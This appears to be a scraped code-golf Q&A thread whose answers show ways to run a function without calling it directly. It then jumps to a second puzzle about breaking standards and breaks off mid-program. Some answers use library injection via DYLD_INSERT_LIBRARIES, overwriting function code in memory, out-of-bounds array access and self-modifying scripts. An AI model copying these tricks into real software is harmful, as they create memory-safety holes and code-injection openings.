public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Running it:
> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

This is platform dependent. In particular, it will likely fail on OS X where the platform default character encoding is UTF-8.

@ntoskrnl This should be easy to fix if you pass the encoding name as a parameter to the getBytes() method, turning it on getBytes("UTF-8"). Since I do not have an OS X, could you test if this works?

UTF-8 doesn't work for binary data. A single-byte encoding like ISO-8859-1 should work, but treating binary data as a string is still wrong.

@ntoskrnl In fact, raping classfiles for doing the thing I am doing here is wrong, the encoding is the smallest of the problems. :)

Objective-C
(Probably only if compiled with clang on Mac OS X)
#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

This code uses several tricks to get to the unused function. First is the value 0x2A27. This is a tagged pointer for the integer 42, which encodes the value in the pointer to avoid allocating an object.
Next is MyClass. It is never used, but the runtime calls the +load method when it is loaded, before main. This dynamically creates and registers a new class, using NSValue as its superclass. It also adds a +load method for that class, using MyClass's -unusedMethod as the implementation. After registration, it calls the load method on the new class (for some reason it isn't called automatically).
Since the new class's load method uses the same implementation as unusedMethod, that is effectively called. It takes the superclass of itself, and adds unusedFunction as an implementation for that class's doesNotRecognizeSelector: method. This method was originally an instance method on MyClass, but is being called as a class method on the new class, so self is the new class object. Therefore, the superclass is NSValue, which is also the superclass for NSNumber.
Finally, main runs. It takes the pointer value and sticks it in a NSString * variable (the __bridge and first cast to void * allow this to be used with or without ARC). Then, it tries to call stringByAppendingString: on that variable. Since it is actually a number, which does not implement that method, the doesNotRecognizeSelector: method is called instead, which travels up through the class hierarchy to NSValue where it is implemented using unusedFunction.

Note: the incompatibility with other systems is due to the tagged pointer usage, which I do not believe has been implemented by other implementations. If this were replaced with a normally created number the rest of the code should work fine.

Hm, try with ciruZ' ObjFW, it's a pretty decent Objective-C runtime and framework, maybe this, or something close, will work with it too ;-)

@mirabilos The only incompatibility in it is the 0x2A27 value, so I just don't know if that is implemented anywhere else. ObjFW definitely is interesting though.

0x2A27 is tagged pointer

@Bryan Thanks! I was looking for that exact article and couldn't remember the proper name.

@BryanChen ah okay. ughoavgfhw: Sure, just wanted to point out the alternative runtime in case you wanted to play with it.

Python
class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

C++
In C++, if an exception is thrown during stack unwinding caused by an earlier exception which is still underway, program execution is stopped by calling a customizable terminate handler:
#include <iostream>
#include <exception>

void the_function()
{
    std::cout << "How did I get here?\n";
}

struct X
{
    ~X()
    {
        throw 2;
    }
};

int main()
{
    std::set_terminate(the_function);
    try
    {
        X x;
        throw 1;
    }
    catch (...)
    {
        std::cout << "Can't catch this!\n";
    }
}

This crashed after it printed "How did I get here?"

C (with inline asm)
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    _asm push the_function;
    _asm ret;
}

just to note - depending on the calling convention you can push a label from the caller function first and the code flow would even potentially remain in-tact.

Groovy
By using an object's meta class you can override the toString method and call any method you choose in the closure. When outputting an object with System.out.print, by default the object's toString() method is called. Effectively using a standard Java function's default behaviour to execute your code, without a named call to the method.
class Job {
    String title

    @Override
    public String toString(){ title }
}

Job.metaClass.toString = { -> "Software Engineer".toUpperCase() }

def job = new Job(title:"Developer")

println job

C# (via using)
using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

Java
package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

I'm taking advantage of a special feature of Java serialization.  The readObject method is invoked when an object is deserialized, but it's not directly called - not by my code, nor by the deserialization library.  If you dig deep into the source, you'll see that at a low level the method is internally called via reflection.

yeah; serialisation allows pretty funny jokes :); btw theres are similar ways in other serialisation lobs for java

Perl
This is so easy. The code below automatically runs code in subroutine, even without explicit call.
sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

Even if you uncomment the call, it will still be called just once.

how? cant get behind the magic+

Javascript
I feel like this doesn't explicitly look like it is calling the function
window["false"] =  function() { alert("Hello world"); }
window[![]]();

Pretty borderline if you ask me.

@ColeJohnson I think he already crossed it...

Python
>>> def foo(*args, **kwargs):
...     print "%d args, %d kwargs" % (len(args), len(kwargs))
...
>>> foo()
0 args, 0 kwargs
>>> foo(a=1)
0 args, 1 kwargs

then
>>> def indirect(name, *args, **kwargs):
...     globals()[name].__call__(*args, **kwargs)
...
>>> indirect('foo', 1, 2, a=1)
2 args, 1 kwargs
>>> indirect('of'[1]+'of'[0]*2, 1, 2, a=1)
2 args, 1 kwargs

Preloading (DYLD_INSERT_LIBRARIES) on OSX
main.c:
#include <stdio.h>

int main(int argc, char** argv)
{
    return 0;
}

lib.c:
#include <stdio.h>
static void __attribute__ ((constructor)) lib_init(void);
static void lib_init(void) {
    printf("Hi there!\n");
}

building:
$ gcc main.c
$ gcc -dynamiclib -o preload.dylib lib.c

test:
$ ./a.out
$ DYLD_INSERT_LIBRARIES=preload.dylib ./a.out
Hi there!
$ DYLD_INSERT_LIBRARIES=preload.dylib whoami
Hi there!
damien

Lua
mt = {__index = function(x) print("Who ordered that?"); end}
setmetatable(mt, mt);
i = mt.nonExistantValue;

prints
Who ordered that?

The __index function of a Lua metatable is called if a table is indexed with a value it doesn't contain.  i is still nil at the end of the assignment.
Bonus points for recognizing the quotation!

This can be done a lot better in Lua. See my answer. ;)

@TwoThe: you're right, and I'm 2 rep short right now of being able to upvote yours :(

Java, based on the SnakeYAML logic :P
if you know how SnakeYAML serializes you know how the method is called :P
class callme
{
    public static void main(String[]a)
    {
        new org.yaml.snakeyaml.Yaml().dump(new callme());
    }
    public void setXXX(String xxx){};
    public String getXXX()
    {
        System.out.println("who called me???");
        return "";
    }
}

C
#include <stdio.h>
#include <string.h>

int __cdecl answer () {
  return 42;
}

int __cdecl multiply (int a, int b) {
  return a * b;
}

int main () {
  memcpy(multiply, answer, multiply - answer);
  printf("%i\n", multiply(6, 9));
}

Compile with gcc -O0 -N. The -N option is an undocumented linker option that makes the .text section writable.
Your antivirus software might pick it up when you compile it.

your anti-virus does not mean windows wont let you. it will

Javascript
Well, there is an obvious solution in Javascript that I did not see posted. Maybe it is invalid, but I will post it anyway:
(function bla() { alert('Hello!'); })();

directly invoking the function as soon as it's defined seems to be a violation of the rules

Bash
Self-modifying script
#!/bin/bash
function command_not_found_handle () {
 echo -e ""
}
function hiddentrait {
 echo "I have a superpower!"
 echo "# hidden again" >> $0
}

echo -n "hiddentrait" >> $0

And if you see the code after an execution, the hiddentrait function is not being called either, disabled by making it a bad identifier (hiddentrait#).

Perl
In Perl, to call a method "foo" you'd normally do this:
$obj->foo($arg);

The UNIVERSAL class, which all classes inherit from (equivalent to, say, java.lang.Object in Java) provides a method called can which can be called to figure out if a class has a named method. So to find out if $obj has a method called foo, you'd do this:
if ($obj->can("foo")) { ... }

Now, Perl doesn't have a built-in boolean datatype. To indicate false, you can use undef, the number 0, the empty string, the string "0", or an object overloading boolification. I can't remember which can does... for the purposes of this answer it doesn't matter. But to indicate truth can returns a reference (pointer) to the method's code.
This can then be called, passing the object itself as the first parameter:
$obj->can("foo")->($obj, $arg);   # roughly the same as: $obj->foo($arg)

OK, let's make things a little more convoluted. The B::Deparse module can take a reference to a function and return a string of Perl code representing the body of the function. Assuming that the string didn't close over any variables (and method definitions usually don't) we can then eval that string to execute it.
The one trick we need to do first is place the arguments the code needs (including the object itself) into the global array @_. So our method call becomes this:
do {
   require B::Deparse;
   my $coderef     = $obj->can("foo");
   my $deparser    = B::Deparse->new;
   my $perl_string = $deparser->coderef2text($coderef);

   local @_ = ($obj, $arg);
   eval $perl_string;
};

But if we've got that code in a string, why not place it into a file and run it?
do {
   require B::Deparse;
   require File::Temp;
   my $coderef     = $obj->can("foo");
   my $deparser    = B::Deparse->new;
   my $perl_string = $deparser->coderef2text($coderef);
   my $perl_file   = File::Temp->new;
   $perl_file->print($perl_string);
   $perl_file->close;
   local @_ = ($obj, $arg);
   do($perl_file->filename);
};

Anyway, here's the whole thing as a script:
#!/usr/bin/env perl

use v5.14;
use warnings;

package Answerer {
   sub new {
      bless {}, shift;
   }
   sub foo {
      my ($self, $n) = @_;
      return 40 + $n;
   }
}

my $obj = Answerer->new;
my $arg = 2;

my $answer = do {
   require B::Deparse;
   require File::Temp;
   my $coderef     = $obj->can("foo");
   my $deparser    = B::Deparse->new;
   my $perl_string = $deparser->coderef2text($coderef);
   my $perl_file   = File::Temp->new;
   $perl_file->print($perl_string);
   $perl_file->close;
   local @_ = ($obj, $arg);
   do($perl_file->filename);
};

say $answer;

Ruby 1.9
c = class SomeClass

define_method(:some_method_name) {|arg|
  s = "Some method called on #{arg}"
  puts s}
end

if c === 'some class'
  puts 'Comparison of class to string succeeded, somehow'
end

 Outputs "Some method called on some class". Never trust indentation. Unless it's Python.

Edit: See it live

Doesn't work...

Works in 1.9.3, not sure about other versions. Added a link to https://ideone.com/7oiLGw as proof.

Ah, whatever black magic you're using doesn't work in 1.8.7 (I thought I've been using 1.9.3 all this time... :O)

It might be because SO et al have a tendency to kill indentation, turning tabs into spaces...

It seems this trick only works on Ruby <2 though :(
(now define_method returns a Symbol instead of a Proc or a Method like it used to)

Lua
Cause its such a great language. You can test the code here.
function i() print "Hello World" end
f = setmetatable({}, { __index = _G["\105"] })
q = f[42]

This will print Hello World

C#
In C#, the property has an implied getter and setter
int a { get; set;}
a = 2;

This will internally call the setter method set to store the value of 2 in a. IMHO this is a shortest sample of code.

PHP
<?php register_shutdown_function("print_r", "Hello World!");

This code prints Hello World!.
I'm indirectly calling print_r (the rules doen't says I have to define a function, so I'm just using a native one). register_shutdown_function just calls the method when the program has ended.

Delphi XE3
Not sure if this is allowed but its not a direct call.
Defined a class, created it and destroyed it.
The destructor isnt called directly.
type TMyType=class
  destructor Destroy;Override;
end;
var
  x:TMyType;
destructor TMyType.Destroy;
begin
  writeln('muhaha')
end;

begin
  x:=TMyType.Create;
  x.free;
end.

C
Involves heavy usage of #defines. You aren't calling it directly when it looks like you are calling a function called a rather than foo.
#include <stdio.h>
#define a bb
#define b cd
#define c fe
#define d ee
#define e og
#define g ho
#define h ii
#define ii o
#define ooo o

void foo() {
    printf("foo");
}
int main() {
    a();
}

Heres some assembly
[BITS 64]

global main

main:
    xor rax, rax    ; Set to zero
    xor rcx, rcx    ; Set to zero
    inc rax         ; increment to 1
    cmp rax, rcx
    je done         ; If they are equal, go to done

; Some function
unused_function:
    inc rcx
    cmp rax, rcx
    je main
ret             ; return from function being called

done:
ret             ; return from program

This can be compiled and run like so:
nasm -f elf64 -o file.o file.asm
gcc file.o -o file
./file

It ends up running an infinite loop. After the first cmp rax, rcx, they are not equal, and thus the program doesn't jump to done. Execution runs through to the function, which is declared below.

PHP
<?php

function super_secret()
{
    echo 'Halp i am trapped in comput0r';
}

function run()
{
    preg_match_all('~\{((.*?))\}~s', file_get_contents(@reset(reset(debug_backtrace()))), $x) && eval(trim(@reset($x[1])));
}

run();

This really really doesn't call the method. The backtrace is read to find out the file currently executing, we get the contents of the file as a string, then use a regex to cut the first statement out of the super_secret() method, then eval it.
The @ suppresses errors on the calls to reset(), as you're only supposed to use it on references.

Ruby
Probably it doesn't get enough attention, but in some languages we don't have methods/functions. Instead of that we have messages. Example:
send(:puts, 'Lol')

C
Signal handling:
#include <stdlib.h>
#include <stdio.h>

void fun(int) {
  puts("fun()");
  exit(0);
}

int main() {
  int *null = 0;

  signal(SIGSEGV, &fun);

  printf("%d", *null);
}

Python
import threading

def hello():
    print('Hello, world!')

threading.Thread(target=hello).start()

Python 3:
import reprlib

class Repr(reprlib.Repr):
    def repr_module(self, obj, level):
        return "How?"

print(Repr().repr(__import__("antigravity")))

http://docs.python.org/3.1/library/reprlib.html

Scala using reflection
class Shy {
  private def AhaYouWillNeverCallMe() = println("Argh you found me.")
}

classOf[Shy].getDeclaredMethods.map(
  knowledge => { knowledge.setAccessible(true);
  knowledge }).head.invoke(new Shy)

Scala using implicits
implicit def YouShouldNotWakeMeUp(i: String) = { println("Ok ok I wake up"); 1}
1/""

C++
This program works by opening its own source file, extracting the desired function, writing it to a new source file (which prints the result), compiling it, then executing it and reading its output.
#include <iostream>
#include <fstream>
#include <sstream>
#include <cstring>
#include <cstdlib>
#include <cstdio>
#include <string>
using namespace std;

//=== here's all our "callable" functions ===

int add (int a, int b) {
    return a + b;
}

int indexof (const char *str, char c) {
    for (int n = 0; str[n]; ++ n) {
        if (str[n] == c)
            return n;
    }
    return -1;
}

const char * addsuffix (int n) {
    static char buffer[20];
    switch (n % 10) {
      case 1: sprintf(buffer, "%dst", n); break;
      case 2: sprintf(buffer, "%dnd", n); break;
      default: sprintf(buffer, "%dth", n); break;
    }
    return buffer;
}

//=== end of "callable" functions ===

int count (const char *s, int c) {
    int n = 0;
    while (*s)
        n += (*(s ++) == c);
    return n;
}

template <typename ReturnType>
ReturnType icall (const char *fn, const char *p) {

    // generate output

    ifstream me(__FILE__);
    ofstream out("temp~.cpp");
    char line[1000];
    int infunc = 0;

    while (!me.eof()) {
        me.getline(line, sizeof(line));
        if (!strncmp(line, "#include", 8))
            out << line << endl;
        else if (!strncmp(line, "using", 5))
            out << line << endl;
        else {
            if (!infunc) {
                char *fname = strstr(line, fn);
                if (fname) {
                    infunc += 1;
                    *fname = 0;
                    out << line << "oneTrickPony" << (fname + strlen(fn)) << endl;
                    *fname = ' ';
                }
            } else {
                out << line << endl;
            }
            if (infunc)
                infunc += count(line, '{') - count(line, '}');
            if (strchr(line, '}') && infunc == 1)
                break;
        }
    }

    out << "int main () { cout << oneTrickPony(" << p << "); }" << endl;
    out.close();

    // compile output

    system("g++ temp~.cpp -o temp~.exe"); // exe suffix ok on linux

    // execute output
    FILE *res = popen("temp~.exe", "r");
    fgets(line, sizeof(line), res);
    pclose(res);

    // parse output

    ReturnType rval;
    stringstream rss(line);
    rss >> rval;
    return rval;

}

#define call(rt,fn,p...) icall<rt>(fn, #p)

int main () {

    // call functions and store results
    int resulta = call(int, "add", 14, 99);
    int resultn = call(int, "indexof", "abcdefg", 'e');
    string results = call(string, "addsuffix", 1);

    // print results
    cout << resulta << endl
        << resultn << endl
        << results << endl;

}

The icall function is responsible for doing all the dirty work; the template type is the return type and is used for parsing the output into a usable value. The call macro exists to allow us to write a variable number of function parameters to the generated source file. The calls are made in main:
  // call functions and store results
  int resulta = call(int, "add", 14, 99);
  int resultn = call(int, "indexof", "abcdefg", 'e');
  string results = call(string, "addsuffix", 1);

Requires gcc. Tested on MinGW.
Supports:

Any return types supported by the istream >> operator.
Runtime function names.
Any number of parameters, of any type.

Does not support:

Non-constant function parameters. This is a tradeoff for number 3 and also for brevity. I could add support for this by dropping the macro and using more templates, but I didn't want to add too much code to distract from the general idea.
Functions with void return types. A specialized icall that does not parse the returned value would allow this. Again, didn't go too crazy.

A little messy but gets the job done. It's pretty good at parsing itself but will fail under certain conditions (e.g. if a curly brace appears in a string, or the function name appears before the function in another context... I didn't really want to implement a full-on C++ parser...).
Here is an example generated file for a call to indexof:
#include <iostream>
#include <fstream>
#include <sstream>
#include <cstring>
#include <cstdlib>
#include <cstdio>
#include <string>
using namespace std;
int oneTrickPony (const char *str, char c) {
  for (int n = 0; str[n]; ++ n) {
    if (str[n] == c)
      return n;
  }
  return -1;
}
int main () { cout << oneTrickPony("abcdefg", 'e'); }

C
Uses nm to read the executable and find the function address, then calls it.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

const char *me; // name of binary
int counter = 0; // just to demonstrate side-effects

// our callable functions

int itis (const char *p) {
  counter += strlen(p);
  printf("it's %s.\n", p);
  return 128;
}

int notreally (const char *p) {
  counter -= strlen(p);
  printf("i want to say it's %s, but it's not.\n", p);
  return 42;
}

typedef int (* ptr) (const char *);

// use nm to find address of function by name, then call it and
// return its return value.
int callbyname (const char *name, const char *p) {

  ptr fnptr = NULL;

  char buf[1000];
  sprintf(buf, "nm -C %s", me);
  FILE *f = popen(buf, "r");

  while (fgets(buf, sizeof(buf), f)) {
    if (strstr(buf, name)) {
      fnptr = (ptr)strtoul(buf, NULL, 16);
      break;
    }
  }

  pclose(f);

  return fnptr ? fnptr(p) : 0;

}

int main (int argc, char **argv) {

  me = argv[0];
  const char *words[] = { "awesome", "cool", "kick-ass", "the shizzle" };
  const char *names[] = { "itis", "notreally" };
  int n;

  srand(time(NULL));
  for (n = 0; n < sizeof(words)/sizeof(char*); ++ n) {
    const char *name = names[rand() % (sizeof(names)/sizeof(char*))];
    int r = callbyname(name, words[n]);
    printf("^ %i %i\n", r, counter);
  }

  return 0;

}

Compile with gcc -O0. The work is done in callbyname. The nm utility is required.
On Windows you must include the .exe suffix in the command when you run it, as argv[0] is used to determine the executable's filename.
This is basically the same as taking the address of a function, but it uses nm instead. Can be used with any function as long as it's called through the correct function pointer type.

AutoHotkey
Here are four distinct ways of indirectly calling a function
;built in indirect function call
funcy := Func("func2Call")
funcy.()

;register this function so that it can be called from any program, then call it as if it's a DLL
funcy := RegisterCallback("func2Call")
DllCall(funcy)

;as error handler
try
    throw
catch
    func2call()

;as default method of default base object
r.base.__Call := func("func2Call")

randomString.randomFuncName()

func2Call()
{
    MsgBox, Don't call this number ever again!!
}

Idk 'bout AHK but I think error handler is direct call.

Javascript
It's not pretty:
function myFun(arg) {
    alert("Called with "+arg);
}

// To "call" that with the argument 'toast':

var arg1 = 'toast';
eval("("+ myFun.toString() +")(arg1)");

From an unloved answer by Engineer.
We are still calling a function, but arguably not the original function - we are calling a new function we created using the source code of the original.
An alternative might be to strip the function wrapper around myFun.toString() and eval the function's body code directly, but then there are complications passing it the correct arguments.

The complications could be avoided by creating a new Function(...) passing it the body of the original.  That new function could have arguments passed to it.  One major caveat with all these approaches in Javascript is that we cannot get back the scope that the original function ran in, so if it had any closure on outer variables these would be lost.

C (With GCC inline asm)
#include <stdio.h>
#include <stdlib.h>

void the_function(void)
{
    __asm__ volatile ("boo:");
    printf("Hi there!\n");
}

int main(void)
{
    __asm__ volatile ("jmp boo");
    return 0;
}

ActionScript
In Actionscript 2 or 3 using the Flash GUI, place the function in a key frame:
// frame 2 labeled "func"
function hello() {
   trace("Hi");
   stop();
}

// frame 3
gotoAndPlay("func");

Java
public class Temp {
    public static void main(String[] args) throws Exception {
        Temp.class.getMethod("main", String[].class).invoke(null, new Object[]{null});
    }
}

Not calling a method explicitly, but under the Java hood.
Also posted in Weirdest way to produce a stack overflow

PHP 4 and up
function hello_world()
{
        echo "Hello, world!\n";
}

register_shutdown_function('hello_world');

Python
Python - Try and Except
 import sys
 try:
      print c
  except NameError, SyntaxError:
      print "Oh No!"

Not sure if this is allowed. If it's not, then I will delete it.

Bash
If you want to have a good day, just type this as the first thing when you wake up. You will never feel sad after that.
trap 'echo Hello world' CHLD

Dart
This calls nope() when calling the non-existing function yep().
import "dart:mirrors";

void main() {
  new Nope().yep(text:"nope");
}

class Nope {

  void noSuchMethod(Invocation invocation){
    final Symbol s = new Symbol(invocation.namedArguments[#text]);
    final InstanceMirror mirror = reflect(this);
    mirror.invoke(s, []);
  }

  void nope() {
    print("Nope!");
  }
}

C#
Garbage collection:
void Main()
{
    var t = new Test();
    t = null;
    GC.Collect();
}

public class Test
{
    public Test()
    {
        Console.WriteLine("Constructor called!");
    }

    ~Test()
    {
        ImplicitCall();
    }

    private void ImplicitCall()
    {
        Console.WriteLine("ImplicitCall invoked...");
    }
}

Inheritance:
This also uses the Garbage Collector but much more implicit.
void Main()
{
    var d = new Derived();
}

class Base
{
    void Foo()
    {
        Console.Write("Foo!");
    }

    ~Base()
    {
        Foo();
    }
}

class Derived : Base
{
}

Java
Another Java Solution:
package callmethod;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

/**
 *
 * @author aigon89
 */
public class CallMethod {

    /**
     * @param args the command line arguments
     */
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
        CallMethod callMethod = new CallMethod();
        // Calls helloWorld without calling it :O
        Method m = callMethod.getClass().getMethod("helloWorld", null);
        m.invoke(callMethod, null);
    }

    public void helloWorld(){
        System.out.println("Hello World");
    }
}

Emacs Lisp
(defun hello (x) (insert "hello!"))

(let ((standard-output 'hello))
   (print "hi"))

When ran it inserts "hello!" into the current buffer 7 times, then returns the string "hi"

Java
Here are a few similar ideas:
toString:
public class Call {
    @Override
    public String toString() {
        System.out.println("hi");
        return null;
    }

    public static void main(final String... args) {
        String s = "foo" + new Call();
    }
}

hashCode:
import java.util.HashMap;

public class Call {
    @Override
    public int hashCode() {
        System.out.println("hi");
        return 0;
    }

    public static void main(final String... args) {
        new HashMap<Call, String>().put(new Call(), "bar");
    }
}

finalize:
public class Call {
    @Override
    protected void finalize() {
        System.out.println("hi");
    }

    public static void main(final String... args) {
        new Call();
        System.gc();
    }
}

writeReplace:
import java.io.*;

public class Call implements Serializable {
    private Object writeReplace() {
        System.out.println("hi");
        return null;
    }

    public static void main(final String... args) throws IOException {
        new ObjectOutputStream(new ByteArrayOutputStream()).writeObject(new Call());
    }
}

Javascript
!function(s){ alert(s) }("hi")

Just wondering if calling an anonymous function is call it without calling it.

Constructors, technically, are methods. So, I can just extend a class and the super constructor is automatically called without me having it "explicitly" called in my code.
Ex:
//SampleClass.java
class SampleClass {

    public SampleClass() {
        System.out.println("Constructor called");
    }
}

//MainClass.java
public class MainClass extends SampleClass
{
    public static void main(String[] args)
    {
        System.out.println("Hello, World!");
        new MainClass();
    }
}

[Disclosure: Thought of it together with a friend of mine]

There are ways to put both in one file...

C#
Why here is a wonderful program that compiles in safe mode, uses a horribly unsafe buffer overflow treats an array like a buffer, and abuses some quirks of the CLR. This works in x86 C#. A similar exploit can be done for x64 and is left as an exercise for the reader.
[StructLayout(LayoutKind.Explicit)]
class Union
{
    public Union(byte[] bytes)
    {
        this.bytes = bytes;
    }
    [FieldOffset(0)]
    public readonly Byte[] bytes;
    [FieldOffset(0)]
    public readonly int[] ints;
}

class Program
{
    static Union u = new Union(new byte[13]);
    static Action a = ()=>Console.WriteLine("Somehow I was called?");
    static void Main(string[] args)
    {
        var f = Marshal.GetDelegateForFunctionPointer((IntPtr)u.ints[12], typeof(Action)) as Action;
        f();
        Console.ReadLine();
    }
}

The reason this works is that CLR allocates primitive struct type arrays as contiguous blocks. This is why you are allowed to cast a int[] to a uint[] via using an object first. The CLR however, will NOT allow you to normally cast a byte[] to an int[]. However, this Union class is COMPLETELY evil, and allows us to trick the CLR into treating the byte[] as an int[]. Basically we're back to pointer land now.
What's more fun is the CLR inserts a bound check on this access of the byte[] and still goes and does an access way out of the bounds of the array at this point. The executable code is located shortly after the accessible variable space. We then read it and then execute the function.
This btw is horribly evil and if you do this in code I hate you.

C#
Similar to my previous answer but even more insane and looking a lot more like standard csharp :)

namespace WTF
{
[System.Runtime.InteropServices.StructLayout(
System.Runtime.InteropServices.LayoutKind.Explicit)]
class Union
{
    public Union(byte[] bytes)
    {
        this.bytes = bytes;
    }
    [System.Runtime.InteropServices.FieldOffset(0)]
    public readonly byte[] bytes;
    [System.Runtime.InteropServices.FieldOffset(0)]
    public readonly int[] ints;
}

class Program
{
    static Union u = new Union(new byte[133]);
    static System.Action methodToCall = () => System.Console.WriteLine("I Should be called!");
    static System.Action methodNotToCall = () => System.Console.WriteLine("But I was instead!");
    static void Main(string[] args)
    {
        u.ints[42] = u.ints[50];
        methodToCall();
    }

}
}

While the previous code used pointers which is gross, this method is far worse. Here we rewrite the content of the content of the delegate's pointer to code with the content of method not to call by seemingly assigning a random empty array element to another element.
As always don't try this at home kids.

C
I guess this is rather silly, but doesn't this fit the criteria?
#include <stdio.h>

int main(void){
    puts("Wow, nobody called me but I'm executing!");
}

+1 for showing the obvious! Hail @Mints97!

ForceLang with the Javascript module
cons js require njs
def wr io.write
set str "Hello, World!"
js function f(a){print("Hi");return null;}
js (function(){var io=Java.type("lang.ForceLang").parse("io");var mfield=Java.type("lang.FObj").class.getDeclaredField("fields");mfield.setAccessible(true);var map=mfield.get(io);map["put"](String.fromCharCode(119,114,105,116,101),new (Java.type("lang.Function"))(f))})()
wr str

Ruby
Prints But who was call?.
begin
  exit

  def my_method
    $>.puts "But who was call?"
  end

rescue \
  class << $!
    self
  end

  DATA.instance_eval do
    system gets
    send eval read << (read if seek $? >> 8)
  end
end

__END__
exit 13
begin

Alternatively...
include Enumerable

def each
  puts "But who was call?"
end

[*self]

GNU sed
There is a beautiful way to do this in sed. In fact, when writing programs you could easily fall into this trap without realizing. I already had a post on Tips for golfing in sed documenting this feature.
s/$/bar/
s/foo/&/
t foo_found()
b

:foo_found()
p

Run: sed -nf function_call.sed <<< ""
The foo_found() function is called when a search for foo is successful  anywhere in the pattern space. The first line of code writes bar into the pattern space, previously empty. However, it will also indirectly, and surprisingly, help in calling the function foo_found()!
When the first line is commented out, the function is not called, as it was meant in the first place.

PHP
$print=function(){print('Hello World!');}
$print('Goodbye.');

in shrinked code, it is quite easy to miss the $ before the print.
and without the variable name in the code, let´s obfuscate a bit:
for($cc=64;++$cc<91;)${chr($cc);}=chr($cc);$p=$pr;$i=$in;
${"$p$i$t"}=function(){print('Hello World!');}
$print('Goodbye.');


text:
Break some standards!
Everyone knows the phrase "Rules are made to be broken!", so here is your task:
Write some code in any language that breaks a standard. This can be anything, from putting
240 volts down a USB cable, to pinging your router (NOT somebody else's website!) with a 10mb packet! (Don't get any ideas, both of these will probably cause all sorts of doom!)
The most upvoted answer after 10 days (i.e the most serious violation) will win!
Rules:

The code must be explained.
The standard that you are breaking must be linked to, and you must explain what you are doing (implies 1) to break it. Otherwise answers will not be accepted.
Answers that just crash the interpreter, or make it stop working will not be accepted. I would like some creative answers, not just pasting something like  into IDLE (which crashes it)
Exploiting bugs are not allowed, unless they break a standard. Otherwise answers will not be accepted

Begin, and have fun!

The majority of answers on this site violate at least one coding standard...

This isn't original with me, but... animated JPEG!

Hey, you're right about

My students tend to violate any QA standards when writing code. They deserve to win!

Inspiration can be had at "How to implement GOTO in Java": http://stackoverflow.com/questions/2430782/alternative-to-a-goto-statement-in-java

VTC as too broad.

Python
print 'Hello World'

Explanation:
The standard of the Programming Puzzles & Code Golf Stack Exchange is to

Read the question carefully. What, specifically, is the question asking for? Make sure your answer provides that

This code is not answering the question, so it breaks the standard.

Or to break a standard in python 2, print("hello world")

@TheDoctor but if I break the python standard, I can't break the codegolf.SE standard

But if this question breaks the standard for this question, and explains it, it is not breaking the standard. But then it is invalid and must be breaking a Python standard, which it is not! A paradox – it breaks the very standards of reality!

As this is a popularity contest, I have to go with this incredibly creative answer which has the most votes! Even though it doesn't cause anything to break/restart :(. However good answer. Well done :)

This is a valid answer, by virtue of not being a valid answer.

I'm paradoxed infinitely.

C
Here's a factorial program that compiles and runs succcessfully (with gcc4.6.3 on Ubuntu 12.04), but invokes as much undefined behaviour according to the C standard as I could cram in. Most are inspired from here. A lot of the remaining legal code is just bad.
int read(char** src, int into){
  int _r;                             //leading underscores reserved, and
  if (!--into) sscanf(*src,"%d",&into); //_r uninitalized
  *(*(--src)+into)=_r>>360;            //shifting more bits than we have
  while (into-->0) (*src)[into]='.'; //modifying const char argv
  printf(*src); // no return statement
}

main(int argc, const char** const argv){
  union  { int x; float y;} result;
  int f,minus1=0xFFFFFFFF,r,a[]={0};
  r=a[3]&2;                     //accessing past end of array
  result.x=read(&argv[r],--r);  //relying on order of arguments
